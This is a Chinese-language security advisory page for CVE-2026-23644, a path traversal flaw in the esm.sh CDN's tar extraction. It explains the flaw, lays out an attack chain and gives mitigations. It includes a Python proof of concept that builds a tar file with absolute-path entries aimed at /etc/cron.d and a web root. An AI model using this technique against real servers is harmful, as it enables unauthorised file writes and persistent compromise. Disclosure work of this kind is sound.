IPBUF安全漏洞报告
English
CVE-2026-23644 CVSS 7.5 高危

CVE-2026-23644 esm.sh CDN路径遍历漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-23644
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
esm.sh

相关标签

路径遍历esm.shCDNtar文件处理Go语言文件写入CVE-2026-23644

漏洞概述

esm.sh是一个面向Web开发的无构建内容分发网络(CDN)服务。该服务在Go伪版本0.0.0-20260116051925-c62ab83c589e之前存在路径遍历漏洞。由于path.Clean函数在处理恶意tar文件时仅进行路径规范化操作,无法有效防止绝对路径的写入,攻击者可利用此漏洞在服务器文件系统中写入任意文件。该漏洞源于此前修复的不完整性,攻击者可通过构造包含绝对路径的恶意tar文件包,绕过安全检查实现路径遍历攻击。此漏洞无需认证即可远程利用,对系统完整性造成严重影响。

技术细节

该漏洞的根本原因在于path.Clean函数的局限性。path.Clean能够将路径规范化为标准形式(如去除多余的斜杠和处理.、..等),但它不会检测或阻止绝对路径。当esm.sh处理包含恶意tar文件的内容时,如果tar文件中包含以/开头的绝对路径,path.Clean会保留这些路径不变,导致文件被提取到服务器文件系统的任意位置。攻击者可以通过上传精心构造的tar文件,在esm.sh的服务器上创建或覆盖任意文件,从而可能实现代码执行或其他恶意操作。该漏洞的修复版本为Go伪版本0.0.0-20260116051925-c62ab83c589e,对应提交9d77b88c320733ff6689d938d85d246a3af9af16。修复需要在使用path.Clean后再添加绝对路径检测逻辑,拒绝包含绝对路径的tar文件条目。

攻击链分析

STEP 1
步骤1
攻击者创建包含绝对路径条目的恶意tar文件,例如/etc/cron.d/malicious或/var/www/html/.backdoor
STEP 2
步骤2
攻击者通过esm.sh的上传或导入功能提交该恶意tar文件
STEP 3
步骤3
esm.sh服务端使用path.Clean()处理tar文件中的路径,该函数仅规范化路径但保留绝对路径
STEP 4
步骤4
由于缺少绝对路径检测,恶意tar文件中的绝对路径条目未被阻止
STEP 5
步骤5
恶意文件被提取到服务器文件系统的指定绝对路径位置,实现路径遍历攻击
STEP 6
步骤6
攻击者可利用写入的恶意文件实现持久化控制、权限提升或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23644 PoC - Path Traversal via Malicious Tar File # This PoC demonstrates how to craft a malicious tar file with absolute paths # that can bypass esm.sh's path.Clean validation import tarfile import io import os def create_malicious_tar(): """ Create a tar file containing entries with absolute paths to exploit the path traversal vulnerability in esm.sh """ tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w') as tar: # Create a malicious entry with absolute path # This path will bypass path.Clean validation malicious_content = b'#!/bin/bash\n# Malicious payload\necho "pwned"' # Add file with absolute path - path.Clean won't block this tar_info = tarfile.TarInfo(name='/etc/cron.d/malicious_cron') tar_info.size = len(malicious_content) tar.addfile(tar_info, io.BytesIO(malicious_content)) # Another example: overwrite critical system file another_payload = b'backdoor_content' tar_info2 = tarfile.TarInfo(name='/var/www/html/.malicious') tar_info2.size = len(another_payload) tar.addfile(tar_info2, io.BytesIO(another_payload)) return tar_buffer.getvalue() def exploit_esm_sh(): """ Simulate exploit against esm.sh vulnerable endpoint """ malicious_tar = create_malicious_tar() # The tar file is sent to esm.sh # Due to the bug, path.Clean() normalizes but doesn't block absolute paths # Files are extracted to their absolute locations print(f"Malicious tar created: {len(malicious_tar)} bytes") print("Tar contains entries with absolute paths:") print(" - /etc/cron.d/malicious_cron") print(" - /var/www/html/.malicious") print("\nThese paths bypass path.Clean validation and are written to filesystem") if __name__ == '__main__': exploit_esm_sh()

影响范围

esm.sh < 0.0.0-20260116051925-c62ab83c589e

防御指南

临时缓解措施
如果无法立即升级,可临时限制tar文件上传功能,或在提取tar文件前对所有路径进行绝对路径检测,拒绝任何以斜杠开头的路径条目。同时监控文件系统变更日志,及时发现可疑的文件创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表